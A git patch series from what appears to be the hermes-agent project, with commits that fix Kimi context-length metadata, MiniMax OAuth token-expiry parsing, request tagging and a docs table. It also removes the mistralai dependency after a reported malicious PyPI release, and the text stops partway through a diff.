From 528bba67340f6efaac8e99f13b6d52eda9f8a5e3 Mon Sep 17 00:00:00 2001 From: rob-maron <132852777+rob-maron@users.noreply.github.com> Date: Tue, 12 May 2026 00:24:01 -0400 Subject: [PATCH 01/59] fix kimi --- agent/model_metadata.py | 38 +++++++++++++++++++++++++++++++++++--- 1 file changed, 35 insertions(+), 3 deletions(-) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index 12d5f4170bf..f103001ab38 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -1338,16 +1338,37 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: with version normalization (dot↔dash). """ metadata = fetch_model_metadata() # OpenRouter cache + + def _safe_ctx(or_id: str, entry: dict) -> Optional[int]: + """Return context length, but reject stale 32k values for Kimi models. + + OpenRouter reports 32768 for moonshotai/kimi-k2.6 and similar Kimi + models; the actual supported context is 262144. Apply the same guard + used for the generic OpenRouter path (step 6 in resolve_context_length) + so the Nous portal path does not short-circuit it. + """ + ctx = entry.get("context_length") + if ctx is None: + return None + if ctx == 32768 and _model_name_suggests_kimi(or_id): + logger.info( + "Rejecting OpenRouter metadata context=%s for %r " + "(Kimi-family underreport, Nous path); falling through to hardcoded defaults", + ctx, or_id, + ) + return None + return ctx + # Exact match first if model in metadata: - return metadata[model].get("context_length") + return _safe_ctx(model, metadata[model]) normalized = _normalize_model_version(model).lower() for or_id, entry in metadata.items(): bare = or_id.split("/", 1)[1] if "/" in or_id else or_id if bare.lower() == model.lower() or _normalize_model_version(bare).lower() == normalized: - return entry.get("context_length") + return _safe_ctx(or_id, entry) # Partial prefix match for cases like gemini-3-flash → gemini-3-flash-preview # Require match to be at a word boundary (followed by -, :, or end of string) @@ -1358,7 +1379,7 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: if candidate.startswith(query) and ( len(candidate) == len(query) or candidate[len(query)] in "-:." ): - return entry.get("context_length") + return _safe_ctx(or_id, entry) return None @@ -1437,6 +1458,17 @@ def get_model_context_length( model, base_url, f"{cached:,}", ) _invalidate_cached_context_length(model, base_url) + # Invalidate stale 32k cache entries for Kimi-family models. + # OpenRouter incorrectly reports 32768 for moonshotai/kimi-k2.6 and + # similar models; actual context is 262144. Drop any cached 32k + # value so the corrected resolution path can return 262144. + elif cached <= 32768 and _model_name_suggests_kimi(model): + logger.info( + "Dropping stale Kimi cache entry %s@%s -> %s (OpenRouter underreport); " + "re-resolving via hardcoded defaults", + model, base_url, f"{cached:,}", + ) + _invalidate_cached_context_length(model, base_url) else: return cached From 057fc7b073731934e56850f913dbc85aa5d6ac26 Mon Sep 17 00:00:00 2001 From: rob-maron <132852777+rob-maron@users.noreply.github.com> Date: Tue, 12 May 2026 00:25:40 -0400 Subject: [PATCH 02/59] fix guard --- agent/model_metadata.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index f103001ab38..4bf181cf591 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -1350,7 +1350,7 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: ctx = entry.get("context_length") if ctx is None: return None - if ctx == 32768 and _model_name_suggests_kimi(or_id): + if ctx <= 32768 and _model_name_suggests_kimi(or_id): logger.info( "Rejecting OpenRouter metadata context=%s for %r " "(Kimi-family underreport, Nous path); falling through to hardcoded defaults", From f0c2964f0b5a0e84e06d07ae6de7432ad792c23a Mon Sep 17 00:00:00 2001 From: rob-maron <132852777+rob-maron@users.noreply.github.com> Date: Tue, 12 May 2026 00:26:38 -0400 Subject: [PATCH 03/59] remove comments --- agent/model_metadata.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index 4bf181cf591..a3fa8d57981 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -1459,9 +1459,6 @@ def get_model_context_length( ) _invalidate_cached_context_length(model, base_url) # Invalidate stale 32k cache entries for Kimi-family models. - # OpenRouter incorrectly reports 32768 for moonshotai/kimi-k2.6 and - # similar models; actual context is 262144. Drop any cached 32k - # value so the corrected resolution path can return 262144. elif cached <= 32768 and _model_name_suggests_kimi(model): logger.info( "Dropping stale Kimi cache entry %s@%s -> %s (OpenRouter underreport); " @@ -1607,14 +1604,6 @@ def get_model_context_length( if model in metadata: or_ctx = metadata[model].get("context_length", DEFAULT_FALLBACK_CONTEXT) # Guard against stale OpenRouter metadata for Kimi-family models. - # OpenRouter reports 32768 for moonshotai/kimi-k2.6, but the model - # actually supports 262144 (models.dev + official Kimi docs agree). - # Providers that host their own Kimi endpoints (Ollama Cloud, Kimi - # Coding, Moonshot) would otherwise trip the 64k minimum-context - # guard and reject a perfectly capable model. - # The filter is narrow: only reject exactly 32768 for Kimi-named - # models. If OpenRouter ever updates its data, the stale path - # becomes dead code with no impact. if or_ctx == 32768 and _model_name_suggests_kimi(model): logger.info( "Rejecting OpenRouter metadata context=%s for %r " From 32abe742fa81bee3acb42a274b2501afe1657c08 Mon Sep 17 00:00:00 2001 From: rob-maron <132852777+rob-maron@users.noreply.github.com> Date: Tue, 12 May 2026 00:27:56 -0400 Subject: [PATCH 04/59] fix comment --- agent/model_metadata.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/agent/model_metadata.py b/agent/model_metadata.py index a3fa8d57981..100c33a136c 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -1342,10 +1342,8 @@ def _resolve_nous_context_length(model: str) -> Optional[int]: def _safe_ctx(or_id: str, entry: dict) -> Optional[int]: """Return context length, but reject stale 32k values for Kimi models. - OpenRouter reports 32768 for moonshotai/kimi-k2.6 and similar Kimi - models; the actual supported context is 262144. Apply the same guard - used for the generic OpenRouter path (step 6 in resolve_context_length) - so the Nous portal path does not short-circuit it. + Apply the same guard used for the generic OpenRouter path (step 6 in + resolve_context_length) so the Nous portal path does not short-circuit it. """ ctx = entry.get("context_length") if ctx is None: From 58e2109f10b5ea5e29b6c4011187762f9358c4a8 Mon Sep 17 00:00:00 2001 From: Austin Pickett Date: Mon, 11 May 2026 21:25:41 -0700 Subject: [PATCH 05/59] fix(minimax): harden OAuth dashboard and runtime Handle MiniMax OAuth expiry values consistently across CLI and dashboard flows, fix CLI status/add behavior, and force pooled OAuth runtime requests through Anthropic Messages. - web_server._minimax_poller: parse expired_in via the shared resolver so unix-ms absolute timestamps stop landing as TTL seconds and crashing with 'year 583911 is out of range' when a user connects MiniMax OAuth from the dashboard. - auth._minimax_oauth_login / _refresh_minimax_oauth_state: same fix on the CLI login + refresh paths. - auth.get_auth_status: dispatch minimax-oauth to its dedicated status function instead of falling through. - auth_commands.auth_add_command: 'hermes auth add minimax-oauth' now starts the device-code login flow and persists a pool entry with the access + refresh tokens, instead of requiring credentials to already exist. - runtime_provider._resolve_runtime_from_pool_entry: pin pooled minimax-oauth credentials to anthropic_messages so a stale model.api_mode: chat_completions can't send requests to /anthropic/chat/completions and trigger MiniMax nginx 404s. Co-authored-by: Cursor --- hermes_cli/auth.py | 41 +++++++--- hermes_cli/auth_commands.py | 13 ++-- hermes_cli/runtime_provider.py | 8 ++ hermes_cli/web_server.py | 7 +- tests/hermes_cli/test_auth_commands.py | 44 +++++++++++ .../test_runtime_provider_resolution.py | 36 +++++++++ tests/hermes_cli/test_web_oauth_dispatch.py | 49 ++++++++++++ tests/test_minimax_oauth.py | 74 +++++++++++++++++++ 8 files changed, 254 insertions(+), 18 deletions(-) diff --git a/hermes_cli/auth.py b/hermes_cli/auth.py index 6fda05d8fd3..ac102d0be76 100644 --- a/hermes_cli/auth.py +++ b/hermes_cli/auth.py @@ -4046,6 +4046,8 @@ def get_auth_status(provider_id: Optional[str] = None) -> Dict[str, Any]: return get_qwen_auth_status() if target == "google-gemini-cli": return get_gemini_oauth_auth_status() + if target == "minimax-oauth": + return get_minimax_oauth_auth_status() if target == "copilot-acp": return get_external_process_provider_status(target) # API-key providers @@ -4757,6 +4759,20 @@ def _minimax_request_user_code( return payload +def _minimax_expired_in_looks_like_unix_ms(expired_in: int, *, now_ms: int) -> bool: + """True if ``expired_in`` is plausibly a unix-ms absolute time (vs TTL seconds).""" + return int(expired_in) > (now_ms // 2) + + +def _minimax_resolve_token_expiry_unix(expired_in: int, *, now: datetime) -> float: + """Return access-token expiry as unix seconds (MiniMax uses ms epoch or TTL seconds).""" + raw = int(expired_in) + now_ms = int(now.timestamp() * 1000) + if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms): + return raw / 1000.0 + return now.timestamp() + max(1, raw) + + def _minimax_poll_token( client: httpx.Client, *, portal_base_url: str, client_id: str, user_code: str, code_verifier: str, expired_in: int, interval_ms: Optional[int], @@ -4765,12 +4781,11 @@ def _minimax_poll_token( # Defensive parsing: if it's small enough to be a duration, treat as seconds. import time as _time now_ms = int(_time.time() * 1000) - if expired_in > now_ms // 2: - # Looks like a unix-ms timestamp. - deadline = expired_in / 1000.0 + raw = int(expired_in) + if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms): + deadline = raw / 1000.0 else: - # Treat as duration in seconds from now. - deadline = _time.time() + max(1, expired_in) + deadline = _time.time() + max(1, raw) interval = max(2.0, (interval_ms or 2000) / 1000.0) while _time.time() < deadline: @@ -4884,8 +4899,10 @@ def _minimax_oauth_login( ) now = datetime.now(timezone.utc) - expires_in_s = int(token_data["expired_in"]) - expires_at = now.timestamp() + expires_in_s + expires_at_unix = _minimax_resolve_token_expiry_unix( + int(token_data["expired_in"]), now=now, + ) + expires_in_s = max(0, int(expires_at_unix - now.timestamp())) auth_state = { "provider": "minimax-oauth", @@ -4899,7 +4916,7 @@ def _minimax_oauth_login( "refresh_token": token_data["refresh_token"], "resource_url": token_data.get("resource_url"), "obtained_at": now.isoformat(), - "expires_at": datetime.fromtimestamp(expires_at, tz=timezone.utc).isoformat(), + "expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(), "expires_in": expires_in_s, } @@ -4960,14 +4977,16 @@ def _refresh_minimax_oauth_state( relogin_required=True, ) now_dt = datetime.now(timezone.utc) - expires_in_s = int(payload["expired_in"]) + expires_at_unix = _minimax_resolve_token_expiry_unix( + int(payload["expired_in"]), now=now_dt, + ) + expires_in_s = max(0, int(expires_at_unix - now_dt.timestamp())) new_state = dict(state) new_state.update({ "access_token": payload["access_token"], "refresh_token": payload.get("refresh_token", state["refresh_token"]), "obtained_at": now_dt.isoformat(), - "expires_at": datetime.fromtimestamp(now_dt.timestamp() + expires_in_s, - tz=timezone.utc).isoformat(), + "expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(), "expires_in": expires_in_s, }) _minimax_save_auth_state(new_state) diff --git a/hermes_cli/auth_commands.py b/hermes_cli/auth_commands.py index b701a54725a..65cb7ed1b85 100644 --- a/hermes_cli/auth_commands.py +++ b/hermes_cli/auth_commands.py @@ -375,10 +375,12 @@ def auth_add_command(args) -> None: return if provider == "minimax-oauth": - from hermes_cli.auth import resolve_minimax_oauth_runtime_credentials - creds = resolve_minimax_oauth_runtime_credentials() + creds = auth_mod._minimax_oauth_login( + open_browser=not getattr(args, "no_browser", False), + timeout_seconds=getattr(args, "timeout", None) or 15.0, + ) label = (getattr(args, "label", None) or "").strip() or label_from_token( - creds["api_key"], + creds["access_token"], _oauth_default_label(provider, len(pool.entries()) + 1), ) entry = PooledCredential( @@ -388,8 +390,9 @@ def auth_add_command(args) -> None: auth_type=AUTH_TYPE_OAUTH, priority=0, source=f"{SOURCE_MANUAL}:minimax_oauth", - access_token=creds["api_key"], - base_url=creds.get("base_url"), + access_token=creds["access_token"], + refresh_token=creds.get("refresh_token"), + base_url=creds.get("inference_base_url"), ) pool.add_entry(entry) print(f'Added {provider} OAuth credential #{len(pool.entries())}: "{entry.label}"') diff --git a/hermes_cli/runtime_provider.py b/hermes_cli/runtime_provider.py index 1cc41ceae95..1652b72034c 100644 --- a/hermes_cli/runtime_provider.py +++ b/hermes_cli/runtime_provider.py @@ -205,6 +205,14 @@ def _resolve_runtime_from_pool_entry( elif provider == "google-gemini-cli": api_mode = "chat_completions" base_url = base_url or "cloudcode-pa://google" + elif provider == "minimax-oauth": + # MiniMax OAuth tokens are valid only against the Anthropic Messages + # compatible endpoint. Do not honor stale model.api_mode values from a + # prior OpenAI-compatible provider, or the client will hit + # /chat/completions under /anthropic and receive a bare nginx 404. + api_mode = "anthropic_messages" + pconfig = PROVIDER_REGISTRY.get(provider) + base_url = base_url or (pconfig.inference_base_url if pconfig else "") elif provider == "anthropic": api_mode = "anthropic_messages" cfg_provider = str(model_cfg.get("provider") or "").strip().lower() diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 4a4b8d4b5ab..0da49682b22 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -2053,6 +2053,7 @@ def _minimax_poller(session_id: str) -> None: """ from hermes_cli.auth import ( _minimax_poll_token, + _minimax_resolve_token_expiry_unix, _minimax_save_auth_state, MINIMAX_OAUTH_GLOBAL_INFERENCE, MINIMAX_OAUTH_SCOPE, @@ -2090,8 +2091,10 @@ def _minimax_poller(session_id: str) -> None: # dashboard path; cn-region operators can still use the CLI # flow which supports `--region cn`. now = datetime.now(timezone.utc) - expires_in_s = int(token_data["expired_in"]) - expires_at_ts = now.timestamp() + expires_in_s + expires_at_ts = _minimax_resolve_token_expiry_unix( + int(token_data["expired_in"]), now=now, + ) + expires_in_s = max(0, int(expires_at_ts - now.timestamp())) auth_state = { "provider": "minimax-oauth", "region": sess.get("region", "global"), diff --git a/tests/hermes_cli/test_auth_commands.py b/tests/hermes_cli/test_auth_commands.py index 50f639d08ac..74e2a64d312 100644 --- a/tests/hermes_cli/test_auth_commands.py +++ b/tests/hermes_cli/test_auth_commands.py @@ -170,6 +170,50 @@ def test_auth_add_nous_oauth_persists_pool_entry(tmp_path, monkeypatch): assert singleton["inference_base_url"] == "https://inference.example.com/v1" +def test_auth_add_minimax_oauth_starts_login_and_persists_pool_entry(tmp_path, monkeypatch): + monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes")) + _write_auth_store(tmp_path, {"version": 1, "providers": {}}) + token = _jwt_with_email("minimax@example.com") + monkeypatch.setattr( + "hermes_cli.auth._minimax_oauth_login", + lambda **kwargs: { + "provider": "minimax-oauth", + "region": "global", + "portal_base_url": "https://api.minimax.io", + "inference_base_url": "https://api.minimax.io/anthropic", + "client_id": "client-id", + "scope": "group_id profile model.completion", + "token_type": "Bearer", + "access_token": token, + "refresh_token": "refresh-token", + "resource_url": None, + "obtained_at": "2026-05-11T10:00:00+00:00", + "expires_at": "2026-05-14T10:00:00+00:00", + "expires_in": 259200, + }, + ) + + from hermes_cli.auth_commands import auth_add_command + + class _Args: + provider = "minimax-oauth" + auth_type = "oauth" + api_key = None + label = None + no_browser = True + timeout = None + + auth_add_command(_Args()) + + payload = json.loads((tmp_path / "hermes" / "auth.json").read_text()) + entries = payload["credential_pool"]["minimax-oauth"] + entry = next(item for item in entries if item["source"] == "manual:minimax_oauth") + assert entry["label"] == "minimax@example.com" + assert entry["access_token"] == token + assert entry["refresh_token"] == "refresh-token" + assert entry["base_url"] == "https://api.minimax.io/anthropic" + + def test_auth_add_nous_oauth_honors_custom_label(tmp_path, monkeypatch): """`hermes auth add nous --type oauth --label ` must preserve the custom label end-to-end — it was silently dropped in the first cut of the diff --git a/tests/hermes_cli/test_runtime_provider_resolution.py b/tests/hermes_cli/test_runtime_provider_resolution.py index d17b1a41e3a..22c778dbab2 100644 --- a/tests/hermes_cli/test_runtime_provider_resolution.py +++ b/tests/hermes_cli/test_runtime_provider_resolution.py @@ -2285,3 +2285,39 @@ def test_minimax_oauth_runtime_uses_inference_base_url(monkeypatch): resolved = rp.resolve_runtime_provider(requested="minimax-oauth") assert MINIMAX_OAUTH_CN_INFERENCE.rstrip("/") in resolved["base_url"] + + +def test_minimax_oauth_pool_forces_anthropic_messages_despite_stale_config(monkeypatch): + """A pooled MiniMax OAuth token must not inherit stale chat_completions config.""" + + class _Entry: + access_token = "oauth-token" + source = "manual:minimax_oauth" + base_url = "https://api.minimax.io/anthropic" + + class _Pool: + def has_credentials(self): + return True + + def select(self): + return _Entry() + + monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "minimax-oauth") + monkeypatch.setattr( + rp, + "_get_model_config", + lambda: { + "provider": "minimax-oauth", + "default": "MiniMax-M2.7", + "api_mode": "chat_completions", + }, + ) + monkeypatch.setattr(rp, "load_pool", lambda provider: _Pool()) + monkeypatch.setattr(rp, "_resolve_named_custom_runtime", lambda **k: None) + monkeypatch.setattr(rp, "_resolve_explicit_runtime", lambda **k: None) + + resolved = rp.resolve_runtime_provider(requested="minimax-oauth") + + assert resolved["provider"] == "minimax-oauth" + assert resolved["api_mode"] == "anthropic_messages" + assert resolved["base_url"] == "https://api.minimax.io/anthropic" diff --git a/tests/hermes_cli/test_web_oauth_dispatch.py b/tests/hermes_cli/test_web_oauth_dispatch.py index 6ebd0ad7235..23b72a303cf 100644 --- a/tests/hermes_cli/test_web_oauth_dispatch.py +++ b/tests/hermes_cli/test_web_oauth_dispatch.py @@ -19,6 +19,8 @@ The fix: These tests pin the corrected behavior. """ +import time +from datetime import datetime, timezone from unittest.mock import patch import pytest @@ -67,6 +69,53 @@ def test_minimax_login_does_not_launch_anthropic_flow(): assert body["expires_in"] == 600 +def test_minimax_dashboard_poller_accepts_absolute_ms_expired_in(): + """Dashboard MiniMax completion must accept unix-ms token expiry values.""" + from hermes_cli import web_server as ws + + now = datetime.now(timezone.utc) + abs_ms = int((now.timestamp() + 1800) * 1000) + session_id = "minimax-absolute-ms-test" + ws._oauth_sessions[session_id] = { + "session_id": session_id, + "provider": "minimax-oauth", + "flow": "device_code", + "created_at": time.time(), + "status": "pending", + "error_message": None, + "portal_base_url": "https://api.minimax.io", + "client_id": "client-id", + "user_code": "ABCD-1234", + "code_verifier": "verifier", + "interval_ms": 2000, + "expired_in_raw": abs_ms, + "region": "global", + } + captured_state = {} + + try: + with patch( + "hermes_cli.auth._minimax_poll_token", + return_value={ + "status": "success", + "access_token": "access", + "refresh_token": "refresh", + "expired_in": abs_ms, + "token_type": "Bearer", + }, + ), patch( + "hermes_cli.auth._minimax_save_auth_state", + side_effect=lambda state: captured_state.update(state), + ): + ws._minimax_poller(session_id) + finally: + ws._oauth_sessions.pop(session_id, None) + + assert captured_state["access_token"] == "access" + assert 1790 <= captured_state["expires_in"] <= 1810 + assert datetime.fromisoformat(captured_state["expires_at"]).year < 9999 + + def test_anthropic_pkce_branch_still_works(): """Sanity: the dispatcher tightening doesn't break the legitimate Anthropic PKCE path.""" fake_anthropic_response = { diff --git a/tests/test_minimax_oauth.py b/tests/test_minimax_oauth.py index 0e63800e917..f5ac4e28c62 100644 --- a/tests/test_minimax_oauth.py +++ b/tests/test_minimax_oauth.py @@ -32,9 +32,11 @@ from hermes_cli.auth import ( _minimax_pkce_pair, _minimax_request_user_code, _minimax_poll_token, + _minimax_resolve_token_expiry_unix, _refresh_minimax_oauth_state, resolve_minimax_oauth_runtime_credentials, get_minimax_oauth_auth_status, + get_auth_status, get_provider_auth_state, ) @@ -67,6 +69,23 @@ def _past_iso(seconds_ago: int = 3600) -> str: return datetime.fromtimestamp(ts, tz=timezone.utc).isoformat() +# --------------------------------------------------------------------------- +# 0. test_resolve_token_expiry_unix_ttl_vs_absolute_ms +# --------------------------------------------------------------------------- + +def test_resolve_token_expiry_unix_ttl_seconds(): + now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc) + got = _minimax_resolve_token_expiry_unix(3600, now=now) + assert abs(got - (now.timestamp() + 3600)) < 0.01 + + +def test_resolve_token_expiry_unix_absolute_ms(): + now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc) + abs_ms = int((now.timestamp() + 7200) * 1000) + got = _minimax_resolve_token_expiry_unix(abs_ms, now=now) + assert abs(got - (now.timestamp() + 7200)) < 0.01 + + # --------------------------------------------------------------------------- # 1. test_pkce_pair_produces_valid_s256 # --------------------------------------------------------------------------- @@ -362,6 +381,46 @@ def test_refresh_updates_access_token(): assert result["expires_in"] == 7200 +def test_refresh_updates_access_token_absolute_ms_expired_in(): + """Refresh payload may use unix-ms absolute ``expired_in`` (same as device-code).""" + now0 = datetime.now(timezone.utc) + abs_ms = int((now0.timestamp() + 1800) * 1000) + + state = { + "access_token": "old-access", + "refresh_token": "my-refresh", + "portal_base_url": MINIMAX_OAUTH_GLOBAL_BASE, + "client_id": MINIMAX_OAUTH_CLIENT_ID, + "inference_base_url": MINIMAX_OAUTH_GLOBAL_INFERENCE, + "expires_at": _future_iso(MINIMAX_OAUTH_REFRESH_SKEW_SECONDS - 1), + } + + new_token_body = { + "status": "success", + "access_token": "new-access", + "refresh_token": "new-refresh", + "expired_in": abs_ms, + } + + mock_resp = _make_httpx_response(200, new_token_body) + + with patch("httpx.Client") as mock_client_class: + mock_client_instance = MagicMock() + mock_client_instance.__enter__ = MagicMock(return_value=mock_client_instance) + mock_client_instance.__exit__ = MagicMock(return_value=False) + mock_client_instance.post.return_value = mock_resp + mock_client_class.return_value = mock_client_instance + + with patch("hermes_cli.auth._minimax_save_auth_state"): + result = _refresh_minimax_oauth_state(state) + + assert result["access_token"] == "new-access" + assert 1790 <= result["expires_in"] <= 1810 + exp = datetime.fromisoformat(result["expires_at"].replace("Z", "+00:00")) + skew = exp.timestamp() - datetime.now(timezone.utc).timestamp() + assert 1790 <= skew <= 1810 + + # --------------------------------------------------------------------------- # 10. test_refresh_reuse_triggers_relogin_required # --------------------------------------------------------------------------- @@ -464,3 +523,18 @@ def test_get_minimax_oauth_auth_status_logged_in(): assert status["logged_in"] is True assert status["region"] == "global" + + +def test_generic_auth_status_dispatches_minimax_oauth(): + state = { + "access_token": "tok", + "expires_at": _future_iso(3600), + "region": "global", + } + + with patch("hermes_cli.auth.get_provider_auth_state", return_value=state): + status = get_auth_status("minimax-oauth") + + assert status["logged_in"] is True + assert status["provider"] == "minimax-oauth" + assert status["region"] == "global" From 94d9db72ba5fdca8b34f7d7767e1750efd5dd952 Mon Sep 17 00:00:00 2001 From: Robin Fernandes Date: Tue, 12 May 2026 15:29:13 +1000 Subject: [PATCH 06/59] add client marker tag on aux inference requests --- agent/auxiliary_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/auxiliary_client.py b/agent/auxiliary_client.py index 7b53566a927..da69f040bb1 100644 --- a/agent/auxiliary_client.py +++ b/agent/auxiliary_client.py @@ -382,7 +382,7 @@ _AI_GATEWAY_HEADERS = { # Nous Portal extra_body for product attribution. # Callers should pass this as extra_body in chat.completions.create() # when the auxiliary client is backed by Nous Portal. -NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent"]} +NOUS_EXTRA_BODY = {"tags": ["product=hermes-agent", "client=aux"]} # Set at resolve time — True if the auxiliary client points to Nous Portal auxiliary_is_nous: bool = False @@ -4026,7 +4026,7 @@ def _build_call_kwargs( # Provider-specific extra_body merged_extra = dict(extra_body or {}) if provider == "nous" or auxiliary_is_nous: - merged_extra.setdefault("tags", []).extend(["product=hermes-agent"]) + merged_extra.setdefault("tags", []).extend(NOUS_EXTRA_BODY["tags"]) if merged_extra: kwargs["extra_body"] = merged_extra From 407683b72db0017f74eb7bc3b84e052f6b2e19c7 Mon Sep 17 00:00:00 2001 From: nightcityblade Date: Tue, 12 May 2026 11:15:04 +0800 Subject: [PATCH 07/59] fix(docs): repair Voice & TTS provider table Fixes NousResearch/hermes-agent#24101 --- website/docs/integrations/index.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/website/docs/integrations/index.md b/website/docs/integrations/index.md index 444e07660f8..21235a12ba1 100644 --- a/website/docs/integrations/index.md +++ b/website/docs/integrations/index.md @@ -56,12 +56,12 @@ See [Browser Automation](/docs/user-guide/features/browser) for setup and usage. Text-to-speech and speech-to-text across all messaging platforms: | Provider | Quality | Cost | API Key | -||----------|---------|------|---------| -|| **Edge TTS** (default) | Good | Free | None needed | -|| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` | -|| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` | -|| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` | -|| **NeuTTS** | Good | Free | None needed | +|----------|---------|------|---------| +| **Edge TTS** (default) | Good | Free | None needed | +| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` | +| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` | +| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` | +| **NeuTTS** | Good | Free | None needed | Speech-to-text supports six providers: local faster-whisper (free, runs on-device), a local command wrapper, Groq, OpenAI Whisper API, Mistral, and xAI. Voice message transcription works across Telegram, Discord, WhatsApp, and other messaging platforms. See [Voice & TTS](/docs/user-guide/features/tts) and [Voice Mode](/docs/user-guide/features/voice-mode) for details. From 99ad2d1372d3b5ff9134e9d8930fed6de4fc7b62 Mon Sep 17 00:00:00 2001 From: Teknium <127238744+teknium1@users.noreply.github.com> Date: Mon, 11 May 2026 23:02:15 -0700 Subject: [PATCH 08/59] =?UTF-8?q?fix(deps):=20unbreak=20[all]=20install=20?= =?UTF-8?q?=E2=80=94=20drop=20mistralai=20while=20PyPI=20quarantined=20(#2?= =?UTF-8?q?4205)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The `mistralai` PyPI package was quarantined on 2026-05-12 after a malicious 2.4.6 release. Every fresh resolve (AUR makepkg, Docker build, CI run, install.sh first-run) currently fails on `mistralai>=2.3.0,<3` because PyPI returns zero candidates. Existing users running `hermes update` mostly didn't notice — `hermes update` falls back from `.[all]` to per-extra retries and silently skips mistral with a warning that scrolls past. But fresh installs hard-fail or lose every other extra. Changes: - pyproject.toml: drop `hermes-agent[mistral]` from `[all]` and `[termux-all]`. The `mistral` extra itself is preserved so users can opt back in once PyPI un-quarantines. - hermes_cli/tools_config.py: hide Mistral Voxtral TTS from the `hermes tools` provider picker until restored. - hermes_cli/web_server.py: drop "mistral" from dashboard STT options. - tools/transcription_tools.py: explicit `provider: mistral` returns "none" with a clear status message; auto-detect skips mistral. - tools/tts_tool.py: dispatcher returns a clear "temporarily disabled" error before any SDK import attempt (avoids cached-stale-package surprises). - tests/tools/: update three test files to assert the new disabled behavior. Each test docstring records why and points at the rollback trigger (PyPI un-quarantines mistralai). Restore plan: revert this commit once the package is available on PyPI again. The behavior change is intentional and documented in code comments + test docstrings to make the rollback trivial. Validation: - scripts/run_tests.sh tests/tools/ -k 'mistral or stt or tts' → 425/425 passing. Refs: https://pypi.org/simple/mistralai/ (currently "pypi:project-status: quarantined"). --- hermes_cli/tools_config.py | 12 ++----- hermes_cli/web_server.py | 4 ++- pyproject.toml | 11 ++++-- .../test_transcription_dotenv_fallback.py | 8 ++++- tests/tools/test_transcription_tools.py | 35 ++++++++++++++----- tests/tools/test_tts_mistral.py | 23 +++++++----- tools/transcription_tools.py | 20 ++++++----- tools/tts_tool.py | 25 +++++++------ 8 files changed, 90 insertions(+), 48 deletions(-) diff --git a/hermes_cli/tools_config.py b/hermes_cli/tools_config.py index ba44d03c10e..f5e464f163e 100644 --- a/hermes_cli/tools_config.py +++ b/hermes_cli/tools_config.py @@ -205,15 +205,9 @@ TOOL_CATEGORIES = { ], "tts_provider": "elevenlabs", }, - { - "name": "Mistral (Voxtral TTS)", - "badge": "paid", - "tag": "Multilingual, native Opus", - "env_vars": [ - {"key": "MISTRAL_API_KEY", "prompt": "Mistral API key", "url": "https://console.mistral.ai/"}, - ], - "tts_provider": "mistral", - }, + # Mistral (Voxtral TTS) temporarily hidden — `mistralai` PyPI + # package is currently quarantined (malicious 2.4.6 release on + # 2026-05-12). Restore this entry once PyPI un-quarantines. { "name": "Google Gemini TTS", "badge": "preview", diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index 0da49682b22..2a70ee26398 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -273,7 +273,9 @@ _SCHEMA_OVERRIDES: Dict[str, Dict[str, Any]] = { "stt.provider": { "type": "select", "description": "Speech-to-text provider", - "options": ["local", "openai", "mistral"], + # "mistral" temporarily removed — mistralai PyPI package quarantined + # (malicious 2.4.6 release on 2026-05-12). Restore once available. + "options": ["local", "openai"], }, "display.skin": { "type": "select", diff --git a/pyproject.toml b/pyproject.toml index 1eba1aa1657..5d164b6535f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -111,7 +111,10 @@ termux-all = [ "hermes-agent[dingtalk]", "hermes-agent[feishu]", "hermes-agent[google]", - "hermes-agent[mistral]", + # mistral: omitted from broad termux-all profile — `mistralai` PyPI package + # is currently quarantined (malicious 2.4.6 release). Users who explicitly + # want Voxtral STT/TTS can still `pip install hermes-agent[mistral]` + # directly once PyPI un-quarantines. "hermes-agent[bedrock]", "hermes-agent[homeassistant]", "hermes-agent[sms]", @@ -169,7 +172,11 @@ all = [ "hermes-agent[dingtalk]", "hermes-agent[feishu]", "hermes-agent[google]", - "hermes-agent[mistral]", + # mistral: omitted from [all] — `mistralai` PyPI package is currently + # quarantined (malicious 2.4.6 release on 2026-05-12). Pulling it from + # [all] would break every fresh install / AUR build / Docker build / CI + # run until PyPI un-quarantines. Users who explicitly want Voxtral STT/TTS + # can still `pip install hermes-agent[mistral]` once it's available again. "hermes-agent[bedrock]", "hermes-agent[web]", "hermes-agent[youtube]", diff --git a/tests/tools/test_transcription_dotenv_fallback.py b/tests/tools/test_transcription_dotenv_fallback.py index 39f5ca108e3..73e7a42a59b 100644 --- 